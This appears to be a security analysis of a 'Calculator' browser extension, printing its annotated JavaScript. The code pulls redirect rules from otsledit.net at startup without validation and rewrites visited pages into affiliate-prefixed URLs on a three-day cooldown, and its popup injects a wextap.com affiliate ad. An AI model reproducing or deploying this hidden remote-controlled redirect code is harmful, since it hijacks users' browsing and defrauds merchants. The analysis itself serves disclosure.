Is Calculator safe?

// State that the extension itself never populates with fixed values.
// It is entirely filled in from whatever otsledit.net returns.
let siteMatchPattern = [];   // was: defaultMatches
let redirectRules   = [];   // was: defaultLinks
let altRedirectRule = [];   // was: defaultSLink
let perLinkRules    = [];   // was: defaultMinor

// Runs on every service worker start, before any page loads.
fetch("https://otsledit.net/calc", { method: 'GET', headers: { Accept: 'application/json', 'Content-Type': 'application/json' } })
  .then(r => r.json())
  .then(remoteConfig => {
    // No local validation of remoteConfig's content beyond presence checks.
    // Whatever the server sends becomes the extension's active behavior.
    siteMatchPattern = remoteConfig.defaultMatches;
    redirectRules     = remoteConfig.defaultLinks;   // 3,808 entries observed
    altRedirectRule    = remoteConfig.defaultSLink;
    perLinkRules       = remoteConfig.defaultMinor;
  });

// content.js asks for this data via chrome.runtime.sendMessage({start:true})
// on every page load and gets back exactly what the remote server sent.
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
  if (siteMatchPattern && redirectRules && request.start) {
    sendResponse({
      defaultMatches: siteMatchPattern,
      defaultLinks: redirectRules,
      defaultSLink: altRedirectRule,
      defaultMinor: perLinkRules
    });
  }
});

// True unless a redirect already fired on this device within the last
// 259,200 seconds (3 days).
var cooldownExpired = checkTime('ckAli');

chrome.runtime.sendMessage({ start: true }, remoteConfig => {
  if (remoteConfig && remoteConfig.defaultMatches) {
    const siteMatchPattern = new RegExp(remoteConfig.defaultMatches, "i");
    const redirectRules = remoteConfig.defaultLinks; // [domain, urlPrefix] pairs

    if (window.location.href.match(siteMatchPattern) && cooldownExpired) {
      const domain = new URL(window.location.href).hostname;
      for (const rule of redirectRules) {
        const [ruleDomain, urlPrefix] = rule;
        if (domain.indexOf(ruleDomain) !== -1) {
          // Record the cooldown, then replace the current page with the
          // affiliate-prefixed version of its own URL. The original page
          // never finishes loading.
          localStorage.setItem('ckAli', Math.floor(Date.now() / 1e3));
          window.location.href = urlPrefix + window.location.href;
          break;
        }
      }
    }
  }
});

function checkTime(storageKey) {
  const now = Math.floor(Date.now() / 1e3);
  const lastFired = parseInt(localStorage.getItem(storageKey)) || 0;
  return !(now - lastFired < 259200); // 3-day cooldown
}

// Same code — not obfuscated. Runs on every popup.html load.
// wextap.com is an affiliate network; the path /g/1e8d11449439e4a1019b16525dc3e8/
// identifies the developer's affiliate campaign.
if (localStorage['ads_close'] !== 'true') {
    document.getElementById('ads').innerHTML =
        '<span class="close" id="close">☒</span> ' +
        '<a target="_blank" rel="nofollow" href="https://wextap.com/g/1e8d11449439e4a1019b16525dc3e8/">' +
        '  <img height="42" border="0" src="/ads/AliExpress_Best_Sellers_hero-1488-552.jpg" alt="Aliexpress WW"/>' +
        '</a>';
    document.getElementById('close').addEventListener('click', () => {
        document.getElementById('ads').style.display = 'none';
        localStorage['ads_close'] = true;
    });
}